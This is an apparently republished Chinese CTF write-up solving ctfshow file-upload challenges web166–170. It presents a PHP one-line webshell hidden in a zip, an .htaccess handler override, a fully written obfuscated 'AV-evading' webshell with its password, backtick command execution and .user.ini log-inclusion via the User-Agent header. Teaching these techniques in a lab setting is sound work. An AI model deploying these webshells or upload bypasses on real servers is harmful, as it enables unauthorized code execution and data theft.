ctfshow-web入門-文件上傳(web166、web167)(web168-web170)免殺繞過

目錄

1、web166

2、web167

3、web168

4、web169

5、web170


1、web166

查看源碼,前端只讓傳 zip

上傳 zip 成功后可以進行下載?

隨便搞一個壓縮包,使用記事本編輯,在其內容里插入一句話木馬:

上傳該壓縮包,上傳成功后點擊下載文件,使用 burpsuite 抓包:

我這里木馬內容用的 request ,就在 get 里執行 ls 沒什么問題,但是讀取 flag 時識別有點問題,最好使用 post 請求,因此將請求方法改為 post ,將 file 的內容還原到上面。

讀取 flag:

ctfshow{f98c6ba4-e71a-46bf-b7c3-846db8cc08d7}

后面發現轉為 get 方法其實也是可以的,注意添加一個加號進行拼接,而不是用空格:

2、web167

提示:httpd

.htaccess 文件是 Apache HTTP 服務器的目錄級配置文件,它允許用戶覆蓋 Web 服務器的系統范圍設置,而無需修改全局配置文件(例如 httpd.conf 或 apache2.conf)。

這里我們可以通過上傳?.htaccess 文件,其內容設置如下:

<FilesMatch ".jpg">SetHandler application/x-httpd-php
</FilesMatch>

這里先改為 jpg 上傳繞過前端限制后再改回 .htaccess 放包:

這個配置文件上傳成功后,就會使?jpg 后綴的文件都被當做 php 文件解析。

接下來我們直接將一句話木馬改為 jpg 后綴上傳:

點擊下載文件即可訪問到一句話木馬:

空白,說明上傳解析成功。

調用:

看一下上層目錄:

讀取 flag.php:

拿到 flag:ctfshow{ba49b0f7-b8f9-447d-b1d3-118311c3d829}

3、web168

前端還是只能傳 png

使用 burpsuite 抓包,改后綴重放回顯 null

什么都沒有回顯

做了一下 fuzz 測試:

單個的字符都是沒問題的,但是合在一起傳的內容就有問題,并不是像前面對內容進行過濾那樣簡單,查看提示:基礎免殺。

經過測試,正常內容可以上傳,并且對 php 文件沒有后綴限制:

?

文件會被上傳到 upload 目錄下:?

phpinfo 也可以正常上傳并解析:?

無論是正常的 php 代碼還是短標簽的格式:

測試關鍵字:eval、system、assert、$_POST

均返回 null,猜測應該是過濾掉了一些危險函數和關鍵字

做了一下拼接繞過:

<?php$a="e"."v";$b="a"."l";$c=$a.$b;$c($_REQUEST['cmd']);
?>

但是訪問的時候報錯:

看來不光是過濾關鍵字,這些高位函數在?PHP 配置中也被禁用了。

在網上找到了一個免殺的木馬:

<?php $bFIY=create_function(chr(25380/705).chr(92115/801).base64_decode('bw==').base64_decode('bQ==').base64_decode('ZQ=='),chr(0x16964/0x394).chr(0x6f16/0xf1).base64_decode('YQ==').base64_decode('bA==').chr(060340/01154).chr(01041-0775).base64_decode('cw==').str_rot13('b').chr(01504-01327).base64_decode('ZQ==').chr(057176/01116).chr(0xe3b4/0x3dc));$bFIY(base64_decode('NjgxO'.'Tc7QG'.'V2QWw'.'oJF9Q'.''.str_rot13('G').str_rot13('1').str_rot13('A').base64_decode('VQ==').str_rot13('J').''.''.chr(0x304-0x2d3).base64_decode('Ug==').chr(13197/249).str_rot13('F').base64_decode('MQ==').''.'B1bnR'.'VXSk7'.'MjA0N'.'TkxOw'.'=='.''));?>

連接密碼: TyKPuntU?

調用:

查看上一層目錄:

TyKPuntU=system('ls ../');

存在 flag.php 和 flagaa.php,先讀取 flag.php:

TyKPuntU=system('tac ../flag.php');

不是,那么再讀取?flagaa.php:

TyKPuntU=system('tac ../flagaa.php');

拿到 flag:ctfshow{eec273d2-c16e-4772-bc11-b9d3587af55b}?

如果這里不上一句話木馬,我們還可以使用反引號來執行命令:

<?=`ls ..`;

讀取 flag:

<?=`tac ../flagaa.php`;

4、web169

高級免殺

前端只能傳 zip,抓包繞過即可?

但是在后端上傳發現不行,這段 unicode 編碼在前面遇到過,文件類型沒對。

需要修改 content-type 為:image/png

至于文件后綴并不影響,php 也可以:

測一下上一題的木馬,過不了:

這里直接把尖括號(大于小于號)都給斃掉了:

想直接寫進去很難了,采用日志文件包含:

先上傳配置文件 .user.ini,也需要改文件類型為 png 圖片類型

可以上傳成功,再在? ua 頭里面插入我們希望執行的 php代碼,再次發送:?

訪問 upload 目錄,返回 403,應該是 upload 目錄下沒有 php 文件:

我們隨便傳一個上去:

訪問 /upload/1.php

遇到報錯:

?可能前面傳得太亂了,重啟容器,重新傳 php 文件和配置文件:

再次訪問 /upload/1.php,可以看到 ls ../ 執行成功:

讀取 flag:

拿到 flag:ctfshow{5e939b5c-d235-43ae-9b2b-22c0387a9278}

5、web170

終極免殺

?方法與上一題一樣,也是采用日志包含。

傳配置文件:

這里的 payload 就直接讀 flag 了:

傳 php 文件:

這次直接傳 index.php,內容為空,一會兒直接訪問 upload 目錄即可看到回顯。

拿到 flag:ctfshow{719e6a2b-7309-4fe1-964b-8ba79bcbb809}

CTFshow-Web 入門系列的文件上傳至此結束。

Myon,2024.7.11

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/44065.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/44065.shtml
英文地址,請注明出處:http://en.pswp.cn/web/44065.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

附下載 | 100項能源領域網絡與數據安全政策全集(2024版)

能源是工業的糧食&#xff0c;能源安全事關國家根本安全。當今國際局勢風云變幻&#xff0c;全球地緣政治、經濟、科技體系正經歷深刻變化&#xff0c;能源局勢將更加錯綜復雜&#xff0c;威脅能源安全的各種“灰犀牛”“黑天鵝”事件時有發生&#xff0c;促使國際能源版圖深刻…

system V共享內存【Linux】

文章目錄 原理shmgetftokshmat(share memory attach)shmdt&#xff0c;去關聯&#xff08;share memory delete attach&#xff09;shmctl ,刪除共享內存共享內存與管道 原理 共享內存本質讓不同進程看到同一份資源。 申請共享內存&#xff1a; 1、操作系統在物理內存當中申請…

詳解Redis:什么是Redis?

什么是Redis? Redis&#xff08;Remote Dictionary Server&#xff09;是一種開源的、高性能的、基于內存快速讀寫的的數據結構存儲系統&#xff0c;常用于緩存&#xff0c;分布式鎖等場景&#xff1b; Redis常用數據類型有哪些&#xff1f; String(字符串) 適用場景…

Qt中實現讓靜態圖片動起來,創建動畫效果

在現代應用程序開發中&#xff0c;動畫效果是提升用戶體驗的重要元素之一。Qt作為一個強大的跨平臺應用程序框架&#xff0c;提供了豐富的工具和庫來創建各種動畫效果。本文將介紹如何在Qt中使用靜態圖片創建動畫效果。 實現方法一 使用QTimer和QPixmap 1.準備圖片資源&#…

Qt圖形與圖片(Qt位置相關函數、Qt基礎圖形的繪制、雙緩沖機制、顯示SVG格式圖片)

此篇文章介紹幾種主要位置函數及其之間的區別&#xff0c;以及各種與位置相關函數的使用場合&#xff1b;然后&#xff0c;通過一個簡單繪圖工具實例&#xff0c;介紹利用QPainter和QPainterPath兩種方法繪制各種基礎圖形&#xff1b;最后&#xff0c;通過幾個實例介紹如何利用…

暑假自律日記十

7.11 &#xff08;半小時日記打卡之——暑假第十天&#xff09; 日程 8.30起床 9.20到達逸夫樓開始總結區間DP&#xff0c;上午完成了區間DP和四邊形優化部分的學習 下午組隊打了一場去年的牛客多校&#xff0c;壓力有點大&#xff0c;問題也有點多&#xff0c;總而言之&…

GD32F303RET6讀取SGM58031電壓值

1、SGM58031芯片詳解 &#xff08;1&#xff09;SGM58031是一款低功耗&#xff0c;16位精度&#xff0c;delta-sigma (ΔΣ)模數轉換器(ADC)。它從3V到5.5V供電。 &#xff08;2&#xff09;SGM58031包含一個片上參考和振蕩器。它有一個I2C兼容接口&#xff0c;可以選擇四個I2…

深入Memcached鍵值對限制:優化存儲策略

標題&#xff1a;深入Memcached鍵值對限制&#xff1a;優化存儲策略 Memcached作為一種廣泛使用的高性能分布式內存緩存系統&#xff0c;對鍵值對的大小有特定的限制。這些限制不僅關系到緩存效率&#xff0c;還直接影響到緩存數據的組織和內存的使用。本文將深入探討Memcache…

【RHCE】系統服務綜合實驗

一、實驗內容 現有主機 node01 和 node02&#xff0c;完成如下需求&#xff1a; 1、在 node01 主機上提供 DNS 和 WEB 服務 2、dns 服務提供本實驗所有主機名解析 3、web服務提供 www.rhce.com 虛擬主機 4、該虛擬主機的documentroot目錄在 /nfs/rhce 目錄 5、該目錄由 node02…

Python | Leetcode Python題解之第229題多數元素II

題目&#xff1a; 題解&#xff1a; class Solution:def majorityElement(self, nums: List[int]) -> List[int]:cnt {}ans []for v in nums:if v in cnt:cnt[v] 1else:cnt[v] 1for item in cnt.keys():if cnt[item] > len(nums)//3:ans.append(item)return ans

【conda】解決 An HTTP error occurred when trying to retrieve this URL.問題

1. 修改SSL驗證 如果其他方法無效&#xff0c;還可以嘗試關閉SSL驗證來解決問題。具體操作如下&#xff1a; 在終端中輸入以下命令&#xff0c;關閉SSL驗證&#xff1a; conda config --set ssl_verify false或者&#xff0c;在conda的配置文件&#xff08;.condarc&#xff0…

為什么渲染農場渲染的是幀,而不是視頻?

在3D動畫產業的壯闊畫卷中&#xff0c;渲染農場作為幕后英雄&#xff0c;以其龐大的計算能力支撐起無數視覺奇觀的誕生。這些由高性能計算機集群構成的系統&#xff0c;通過獨特的逐幀渲染策略&#xff0c;解鎖了單機難以企及的創作自由與效率。本文將深入剖析這一策略背后的邏…

maven7——(重要,構建項目)maven項目構建(命令)

Maven的常用命令管理項目的生命周期 clean命令 清除編譯產生的target文件夾內容&#xff0c;可以配合相應命令在cmd中使用&#xff0c;如mvn clean package&#xff0c; mvn clean test D:\工作\公司培訓-4班\day20\day20\untitled1>mvn clean compile命令 該命令可以…

element如何實現自定義表頭?

有時候我們需要實現自定義表頭,例如表頭里加按鈕啥的,這時候就需要用到自定義表頭,但是官方對自定義表頭的使用寫的還是比較簡單,今天就來詳細說說 在需要使用自定義表頭的表頭上使用:render-header來啟用自定義表頭: <el-table-column :render-header="button&…

機器學習開源分子生成系列(2)-基于三維形狀和靜電相似性的DeepFMPO v3D安裝及使用

前言 本文是基于 3D 的分子生成方法DeepFMPO v3D的介紹及安裝使用。 一、DeepFMPO v3D是什么&#xff1f; github代碼介紹文章 在藥物發現中&#xff0c;如何尋找具新穎性和結構多樣性的候選分子是頗受藥物設計科學家關注的問題。通過虛擬篩選的化學空間搜索往往會受限于篩選…

Linux賬戶和組管理——用戶密碼文件,工作組賬號文件,用戶管理

#### 用戶密碼文件 - /etc/shadow存儲密碼加密后的密文&#xff0c;又稱為“影子文件”&#xff0c;該文件為了保證了賬戶密碼的安全性只有 root 賬戶擁有讀權限&#xff0c;注意&#xff1a;若該文件權限發生變化&#xff0c;需要留心惡意攻擊 bash [rootserver ~]# ll /etc/…

linux之棧溢出分析

我們來創建一個例子&#xff0c;其中包含一個段錯誤&#xff0c;這次是由于棧溢出導致的。這是一個常見的錯誤&#xff0c;通常發生在程序遞歸調用深度過大&#xff0c;超出了為棧分配的內存空間。 下面是一個簡單的C程序&#xff0c;stack_overflow_example.c&#xff0c;它通…

優化與改進之輕量級Transformer - Transformer教程

在自然語言處理&#xff08;NLP&#xff09;的世界里&#xff0c;Transformer模型無疑是一顆璀璨的明珠。自從它在2017年被提出以來&#xff0c;就憑借其強大的性能和優雅的設計贏得了廣泛的關注和應用。然而&#xff0c;隨著應用的深入&#xff0c;Transformer的體量和計算資源…

牛頓力學和拉格朗日力學求解atwood machine問題對比

一個半徑為 R R R、轉動慣量為 I I I 的圓盤。繩子與圓盤無滑動&#xff0c;質量 m 2 m_2 m2? 的物體在重力 g g g 作用下下墜&#xff0c;帶動質量 m 1 m_1 m1? 的物體上升。求 m 1 m_1 m1?和 m 2 m_2 m2? 的加速度 a a a。 牛頓力學方法 對質量 m 1 m_1 m1? 和 …

Web 性能入門指南-1.2 分析在線零售 Web 性能及優化方向

讓顧客滿意是零售業成功的秘訣。事實證明&#xff0c;提供快速、一致的在線體驗可以顯著提高零售商關心的每項指標——從轉化率和收入到留存率和品牌認知度。 本文大綱&#xff1a; 頁面速度影響在線零售業務數據 如何將您的網站速度與競爭對手進行比較 性能優化入門&#xf…